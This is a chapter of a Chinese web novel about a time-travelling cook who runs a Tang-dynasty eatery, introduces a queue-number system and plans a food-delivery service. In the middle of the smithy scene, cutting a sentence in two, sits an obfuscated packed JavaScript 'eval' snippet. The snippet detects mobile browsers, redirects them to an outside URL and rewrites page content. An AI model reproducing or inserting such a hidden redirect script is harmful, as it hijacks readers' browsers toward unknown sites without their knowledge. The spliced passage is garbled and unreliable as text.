阿锦先醒了过来,揉着眼睛坐起身,看到桌上的烧麦时眨了眨眼,“阿姊,这是何物?” 阿宁也被姐姐的声音吵醒,一骨碌爬起来,“什么什么?阿姊又做什么好吃的了?” 看到桌上的烧卖,她又歪头道:“这是开花馒头么?” 崔时钰笑了。 本朝还没有“烧麦”这一说法,宫廷中流行的玉尖面——一种类似包子的面食,顶部尖尖,里头填了馅儿,倒是与烧麦的外形有些相似。 只不过那玉尖面的馅料讲究得很,以“消熊”——极肥的熊,和“栈鹿”——用精细饲料和草药精心饲养的鹿的肉制成,极奢靡华贵。相比之下,烧麦就显得平易近人多了。 崔时钰思索片刻,还是决定将名字还给烧麦,给妹妹们科普起来:“此物名为‘烧麦’,外皮用滚水烫面擀成,里头装着糯米、蕈子、肉末,上锅蒸透便能吃了。” “烧麦?” 一听吃食,阿锦便很是好奇——和阿宁的好奇不一样,阿宁好奇吃食的味道,阿锦则更好奇它的做法。 她盯着看了又看,问:“一定要在顶端露出馅儿么?” 又道:“皮好薄,都能看到里面的馅料了。” 崔时钰笑起来:“是了,这便是烧麦的特点,阿锦一眼就能发现其中关窍——好了,你们两个快去洗漱,回来再吃。” 于是两个妹妹便听话地跑去洗漱了。 俩人没过一会儿就回来了,许是脸洗得太急,头发上还滴着水珠。 阿宁盯着盘中模样如开花馒头一样的烧麦,迫不及待地伸手去拿:“我要吃我要吃!” “馅儿还热着,当心烫口。”崔时钰提醒完,递了一只给她。 阿宁接过烧麦,连皮带馅咬了一大口。 面皮软薄如纸,带着适中的韧劲,轻轻一咬就破开了,浓郁的香气喷涌而出,酱香绵密的糯米立刻溢了满口,软糯不失嚼劲,间或嚼到咸香的猪肉丁与脆嫩笋粒,满口都是鲜香。 顾不上烫,阿宁三两口就吃完了一个,又伸手去拿第二个,显然吃美了,手舞足蹈着说:“好好吃哦!” 另一边,阿锦筷子夹起一只烧麦,先欣赏了一番精巧的外形,然后才小口小口品尝起来。 面皮油润带着韧劲儿,牙齿咬破后便陷进蒸得绵软的糯米里,稍一咀嚼就能发现里面藏着脆嫩的春笋,咸香的豕肉,再嚼两下,蕈子浓郁的鲜就在齿间迸了出来。 此外,阿姊肯定还在里面放了猪油,早化在每粒米间,吃得满口生香又不见半点油腻。 阿锦慢慢地吃着。 她虽没吃过那大名鼎鼎的玉尖面,却觉得阿姊这道糯米烧麦肯定更胜一筹。 崔时钰看着两个妹妹吃得满足,自己心中也十分熨帖。 天光大亮,一盘烧麦已空,崔时钰和妹妹们打开铺子大门,望着门外熙熙攘攘的人群。 食肆新一日的营业又要开始了。 39. 外卖到了 巳时三刻,还未到正式饭点,崔记食肆门前已熙熙攘攘排起队来。 排在队伍首位的是一老汉,姓冯,在东市做布庄生意,人称“冯掌柜”,年纪大了之后便将铺子交由长子全权打理,自己清闲下来,开始游山玩水享受老年生活,近几年更是发展起“吃”这一爱好。 冯掌柜手中拿着一支竹签,正与身后同样排队的人闲聊:“这崔记食肆开张第一日我就来了,店主娘子手艺没得说,菜单上面的菜都好吃得紧,尤其是那琥珀肉,空口吃都不觉得腻味,先吃两三块大肉解了馋瘾,再将肉汁拌进米饭……哎哟,光是说说就把我馋虫勾出来了!” 后头的人被他说得也有点犯馋,舔舔嘴唇道:“冯掌柜第一日就来了?可真叫人羡慕。崔记食肆开张首日我正好家中有事,这才错过了……对了,冯掌柜可吃过店主娘子做的酱香饼子?那饼子味道也是好极了。” “吃过!”冯掌柜一拍大腿,“当初崔娘子在西市贩饼,我住东市,一东一西,很是不便,但为着那口热饼滋味,隔两日就要坐马车去吃一回。” “我最喜欢里头的腌萝卜丁,你说咱们自家腌出来的怎的就没这个味儿?” “谁说不是呢!” 话音未落,便听一道稚嫩清亮的童声喊道:“十七号!” “十七?” 冯掌柜将手中竹签举起,对着阳光眯眼细瞧,费力地看清上面写着的“壹拾柒”三个大字,喜道:“是我!” 闻言,立在食肆面前的阿宁甜甜地说:“阿翁来得正好,一锅新炖出来的琥珀肉刚出锅呢。” “哎哟,那可多谢小娘子了!” 冯老汉喜滋滋地钻进食肆,熟门熟路地找了个位置坐下。 后厨内,崔时钰正揭开黑铁锅盖。 锅盖一掀,浓郁的肉香立刻如潮水般漫涌而出,溢满整间庖厨,又顺着门窗徐徐飘到院子,和院里的杏花香融为一体。 锅内,红烧肉块块分明,浸在一锅浓郁酱汁之中,被文火慢炖得微微颤动。 这锅卤汁可不简单,是崔时钰照着自个上辈子的炖肉方子调配的,虽因朝代限制无法做到一比一还原,但该有的一个不少,八角、桂皮、香叶、豆蔻、草果……可以说是下足了本钱。 除此之外,她还在卤汁里添了少许冰糖。 本朝冰糖称作“石蜜”,由甘蔗汁熬制而成,多为淡黄色、浅棕色,非现代冰糖的纯白,甜度也略低于现代冰糖,要价却不低,要三十文一两,约莫是米价的十倍。 崔时钰还记得听说自己要买一斤冰糖的时候,胡麻子脸上笑开花的模样。 但这东西不能没有,只有放了冰糖,红烧肉才会有若有若无的甜味,咽下去之后的丝丝回甘,可以说是红烧肉的点睛之笔。 崔时钰做菜其实没什么独门秘方,就两个,一是食材必须新鲜,第二就是要把每道细节落到实处。 这都是当初外婆教给她的道理。 各种香料在卤汤中舒展筋骨,还有拍散的老姜、挽结的大葱,以及足量的酱油,与几片切得极薄的陈皮在汤中纠缠,氤氲着带出极丰富的滋味。 如今这锅还是新卤,往后每炖一次肉便会多一分醇厚咸香的滋味。 崔时钰想好了,虽说暂时还打不出后世那种“百年老卤”的招牌,但等时间长了,完全可以打个“十年老卤”之类的名头出去。 此时还未有“多少年肉卤”的一说,也许对大唐人民来说,十年就足以令人惊奇了。实在不行,五年也成。 崔时钰正一边畅想一边将炖好的肉从锅中盛出,就见阿宁从门外小跑着进来。 “阿姊,竹签又不够用了!” “怎么这么快?”崔时钰有些诧异。 她分明记得才刚削完竹签没多久。 “还不是阿姊的琥珀肉太出名了。”阿宁骄傲地挺起胸膛,“我都瞧见了,队伍都排到街尾了!” 崔时钰笑了笑,从橱柜里取出一捆新削的竹签,又进屋拿笔,将每根签子上面都用毛笔写上序号。 这是她为了应对食客太多想出的法子:取签排队,叫号用餐,以免排队混乱,更免得有人插队惹事。 竹签上的数字标号也有讲究,崔时钰没有选用简单方便的纯数字,而是使用了用于官方文书账目、防止数字被篡改的正式写法。 上辈子她开的第一家店同样人多爆满,当时她就是用的手写排队号,结果竟然有人为了快点排到自己而故意篡改号码,继而闹出了许多事端……后来崔时钰就吸取教训,改用电子排号了。 这时候自然没有电子打印这回事,是以崔时钰便采用了“壹拾柒”“壹拾捌”这样的写法。 虽写起来费了些事,但能减少许多不必要的麻烦。 让阿宁当喊号人也是她精心思考后的选择。 一来端盘子上菜这种事不适合让年纪尚小的小妹来做,二来喊号的同时能让阿宁熟悉各种数字。 按照唐律,女子虽然没有像男子那样被广泛鼓励接受正规教育,但并不是完全禁止女子上学,有各种各样的门路。 崔时钰已经想好了,她要让阿宁读书习字,如果阿锦也想上学,她也会为阿锦攒够上学的费用。 阿宁接过姐姐写好的竹签返回岗位,继续方才的号叫道:“二十八号,二十八号在吗?” “在这儿呢!” 李二和钱四同时举起了手。 阿宁自然也认这两人,甜笑起来:“李二兄,钱四兄,你们来啦,快请进,阿姊就在屋里。” 见她小小一只像个小大人一样懂事地给阿姊帮忙,李钱二人心头软软,将阿宁夸了好一通才进门。 刚进门就瞧见正在给人上菜的崔时钰。 崔时钰也瞧见了他俩,笑着迎上去,“钱郎君,李郎君,快快请进。” 钱四和李二在西市排了无数次队伍,吃过无数张酱香热饼,却还是头一次来到崔记食肆,望着铺子里素雅的陈设以及坐满食客的食案,一时之间竟有些感动,颇有一种“吾家有宝藏店主初长成”之感。 钱四看了看周围吃得津津有味的食客,咽了咽唾沫,瘪了瘪嘴,千言万语化作一句,“崔小娘子,我终于能吃到琥珀肉了!” “……” 嫌他丢人,李二看不下去,出来打圆场道:“前两日我们铺正从小娘子食肆带了份琥珀肉回去,我们吃着都觉着好,很是念念不忘,奈何这几日一直事务缠身,这不,今日好不容易得了空,便来崔小娘子这儿大饱口福了。” 钱四在一旁连连点头。 他就是这个意思! 崔时钰不禁哑然失笑,怎么听着这么可怜? 无论哪个朝代,打工人都不易啊。 “二位郎君请随我来。” 她将馋得快要不省人事的两人安排在靠近厨房的小桌旁,利落地摆好碗筷,从后厨端来两碗冒着热气的米饭,又端上一盘酱汁浓郁的烧杂菌——和干煸豆角一样,都是食客们常点的用来佐红烧肉的素菜。 “这道烧杂蕈也颇受欢迎,二位郎君先吃着垫垫肚子,琥珀肉马上就好。” 李二道:“成!那便多谢崔小娘子了。” 钱四深吸一口气,空气中弥漫的蕈香混着肉香让他肚子咕咕直叫。 “崔小娘子,你做的这琥珀肉真乃长安一绝,昨儿个夜里巡街我和李二还念叨了一宿呢。” “可不是。”李二接过话头,“光是用那酱汁拌饭能吃好几大碗。” 崔时钰笑道:“二位郎君过奖了——我这就去盛肉,你们先慢慢吃菜。” 她前脚刚走,钱四和李二便不约而同将目光对准了面前的烧杂蕈。 瓷盘里堆着各色蕈子,深褐的香蕈吸饱了汤汁,油油亮亮的,灰白的麻菰切成厚片,炖得绵软却仍挺括,还有羊肚菜、木菌,整个春日山野都被浓缩在瓷盘之中。 凑近一闻,热气裹挟着蕈子特有的浓郁菌香扑面而来,隐隐约约还有股子肉脂香。 两人谁都没说话,拿筷便夹。 李二挟起一筷子香蕈送入口中,只觉柔韧弹牙,用牙齿破开时竟像咬下了一块肉,浓郁的鲜香在口腔中迸发,须臾又有汤汁流出来,菌鲜咸香层层叠叠,吃得两颊都生香。 他赞道:“好香的蕈子!” 说罢又是一大筷,夹得钱四瞪大了眼睛瞅他:“给我留点!” “谁不让你吃了!” 两人你争我抢,盘子菌子很快下去大半盘,这时候崔时钰也出来了,端着一盘琥珀肉放在钱四和李二面前。 “二位郎君久等了。” 两人眼睛又是一亮。 盘中的琥珀肉摆放整齐,酱汁浓稠适中,每一块都切成均匀的方块,肉质酥软却不散形,颤颤巍巍又稳稳当当在盘中立着,正散发着极浓郁醇厚的肉香。 瞧着比那日铺正给他们带回去的还要好。 新炖出来的肉就是香啊! “多谢崔小娘子!” 道谢完,钱四迫不及待地夹起一块,小心地吹了吹还在丝丝缕缕向上冒的热气,送入口中。 下一刻,他满足地闭上眼睛,脸上露出崔时钰曾经在吃播中见过的夸张表情。 “香……真香!” 崔时钰瞄他一眼,忍不住脑洞大开:这位钱郎君若是有朝一日不想继续待在武侯铺了,还能去做吃播。 三块肉下肚,李二又扒了一大口米饭,淋上琥珀肉的酱汁,吃得是肉眼可见的香。 “崔娘子这手艺,怕是宫里的御厨都比不上。” 崔时钰为他们斟满茶水,谦虚道:“李郎君说笑了,不过是些家常做法。” 李二摇头:“家常?崔小娘子谦虚了。我爹做了半辈子家常饭,也没做出这等滋味——这肉怎么能这么肥、这么香?” 钱四又夹起一块肉,对着光线看了看:“这颜色也漂亮,红得透亮!” 两人边吃边赞不绝口,转眼间盘中的琥珀肉就只剩下酱汁子了。 钱四将剩下的酱汁全部倒进饭里,搅拌均匀,让米饭染上酱色,大口扒进嘴里,边吃边说:“要是每天下值都能吃上琥珀肉,那该多幸福啊!” 听了他的话,李二忽然想到什么,放下碗筷,转头对崔时钰认真道:“崔娘子食肆生意这么好,有没有想过把吃食送到客人家里去?” 崔时钰眨了眨眼:“送上门?” “没错!”李二继续道,“像我们这种当值的,有时抽不开身,要是能让人送一份到武侯铺,那该多好,哪怕多花些钱也愿意。” 钱四闻言也连连点头,对崔时钰道:“这主意好!崔小娘子,你若是能送,我天天订!” 崔时钰没说话,若有所思地看着门外依旧排得长长的队伍。 送餐上门…… 那不就是外卖么? * 冶坊。 崔时钰撑着伞从驴车上下来,从天而降的雨滴瞬间落到头顶的油纸伞面,发出滴滴答答的声响。 这雨是夜里来的,起初只听得檐角微响,似有还无,继而瓦上沙沙作声,渐渐密了,淋湿了长安城百千家屋宇上青黑的瓦。 沿街的槐柳枝条经了雨,越发将纤长的身姿舒展开来。 下雨出行不便,崔记食肆门前依然热热闹闹,但多少还是比平日少了些,也能让崔时钰喘口气,得空来冶坊走一趟。 她此番是为了“外卖”而来。 本朝外卖尚未普及,但已出现与外卖类似的概念,比如有些大酒楼会为达官贵人、富商巨贾等特定人群提供送餐服务,并非面向普罗大众。 后世的外卖市场的火爆程度不必赘述,这是个不可多得的商机,其实不必李钱二人提醒,崔时钰也会小小试水一把。 即便下着雨也降不低冶坊的温度,刚从轿子出来,一阵熟悉热浪夹着金属炭火的气息便扑面而来。 崔时钰撑着伞,轻车熟路地穿过几条巷道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15807701|171654||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,迈入一家挂着“林氏精冶”招牌的铺子大门。 在铺子里面瞧不见后院,但听叮当作响的声音,不难想象后头工匠拉风箱、锻打铁器、围着熔炉忙碌的热闹场景。 天不热还成,日后天一热起来,这活儿干起来还真是熬人。 崔时钰不禁感叹各行各业都是不易。 林铁山正拿着一张图纸和学徒念叨什么,她提高声音唤道:“林冶工安好。” 林铁山闻声回头,一张方正的国字脸上沾着几道煤灰,看清是崔时钰后抹了把脸上的汗,露出一个朴实的笑来,问道:“崔娘子怎么来了,可是上次的铁锅出了问题?”崔记食肆庖厨里的几口新铁锅便是由他打制的。 “林冶工请放心,铁锅很好,我这次并非为它而来。” 崔时钰笑了笑,将油纸伞放好,“林冶工可还记得之前的保温食盒?这次我想订制一批新的食盒,数量不少,且样式要改良。” 林铁山闻言,露出些许疑惑神情,“保温食盒?崔小娘子可是还要继续做饼摊的生意?” 崔时钰摇摇头,“并非如此。我是打算做送食的营生。” “食肆座位有限,每日都有许多客人等不到位置,若能让他们在家中享用吃食,岂不是两全其美?”她解释道。 林铁山眼神亮了一瞬:“这主意好!不瞒崔小娘子,要不是这几日活计众多脱不开身,我早就去小娘子的食肆了,若是能送至家中,当真是极好!” 崔时钰笑笑:“正是。林冶工对这送食食盒可有建议?” 林铁山沉吟片刻,从橱中抽屉里取出一张纸,正是原先为崔时钰设计的保温食盒的图纸,竟还留着。 “这张是小娘子原先的保温食盒图纸,除去个头太大,不适宜用作送食食盒外,大体一致,同样是双层结构,底下放炭灰保温。为了效果更好,中间最好再夹上一层薄铜片。” 林铁山说着刷刷几笔,方盒轮廓内又多了一道凹槽,“盒盖需严丝合缝,最好加个扣锁,扣紧后汤汁不易洒出。” 崔时钰凑近,指着盒内道:“若能分成几格,便可同时装几样菜肴。” 林铁山点点头,添了几笔,“隔板用木板就成,效果和铁片大差不差,成本还没那么高。” 两个人讨论得热火朝天,崔时钰的话匣子也打开了,“在盒外加个提手如何?方便伙计携带,还可在上面缠些粗布,这样伙计们提着的时候就不会勒手了。” 林铁山点点头:“崔小娘子果然心思灵巧。” 崔时钰笑笑,想了想又道:“还可以提手处加一道弯钩,像马鞍脚蹬那样,提的时候可以挂在臂弯上,更省力。” “妙啊!” 两人就这样你一言我一语,一个前所未有的外卖食盒渐渐在纸上成型。 崔时钰看着纸上精巧的盒子雏形,仿佛已经看到食肆里的菜通过这些食盒送到长安城的各个角落。 她忽然想到什么:“对了,不知林冶工可否在食盒底部刻上‘崔记’二字?” 本朝虽还没有与后世相同的成熟品牌商标体系,但已有一些具有品牌商标雏形的标识: 比如长沙窑的瓷器上会刻有“郑家小口,天下第一”的字样,铜镜上刻有“真子飞霜”的铭文,张记梅花饼在饼子上烙朵五瓣梅花…… 与之相仿,“崔记”二字便是她的品牌商标。 林铁山立刻领会了她的意思,点头道:“这是自然。” 说着在纸上一笔一划写下“崔记”二字,递给崔时钰,“崔小娘子觉得如何?” 崔时钰凑近了看,就见笔锋如龙,又带着几分飘逸洒脱,既有商号的稳重,又不失风雅,恰如她心中所想。 拥有小学生字体的人并没有自惭形秽,拍手赞道:“我瞧着,林冶工在冶铁之余还可做个书法副业,定能继续大赚一笔。” 这当然是句赞许之言,然而林铁山却有些没听明白,边笑边蹙起眉头:“‘副业’是何物?” “呃……”崔时钰卡了卡壳。 忘了对面站着的是位古人了。 她科普起来:“所谓‘副业’嘛,就是在主业之外,干些别的能挣些钱换些物的活计。比如,有位张大娘平日里种地,一到冬天就拿出针线做些鞋垫、手套之类的物件去集市上换钱,这做鞋垫、手套的活儿,就是她的副业了。” “原来如此。” 林铁山了然点头,随后无奈笑道:“崔小娘子有些高估我了,我每日打铁都打不过来,哪有时间做……呃,副业。” 崔时钰很共情地点了点头。 她每天炖肉也炖不过来呢! 有关副业的话题就此结束,崔时钰拉回正事:“我打算订做二十个送食食盒,有劳林冶工了。” 二十单外卖,放在现代不算什么,手机点几下,外卖小哥转眼就能送到门口,但搁在古代,这绝对是笔不算轻松的大买卖。 崔时钰也是头一回接触外卖行业,不知能否成功,而且这次的食盒虽比之前的体积小了,但每盒都多了几枚铜片,价格也没便宜多少。 她这时候离财富自由还远得很,买二十个食盒也差不多了。 钱要省着点花啊! “二十个送食食盒,我记住了,三日后可做出样品,崔小娘子届时来验看如何?”林铁山问道。 崔时钰摆手笑道:“林冶工的手艺我还是信得过的,直接做成品便是。” 有了之前几次的合作经验,她已很相信对方的手艺了。 得到如此信任,林铁山越发眼神坚定:“好,那便这么说定了,定不负崔小娘子所托。” 付完定金,崔时钰举着伞,迈着喜悦的步伐离开了冶坊。 驴车驶过熙攘的集市,她已经开始盘算如何设计专门的外送菜单,以及如何训练外卖的伙计。 但问题来了:外卖的伙计去哪里找? 崔时钰想了想,坐在驴车里对车夫道:“咱们去人市瞧瞧。”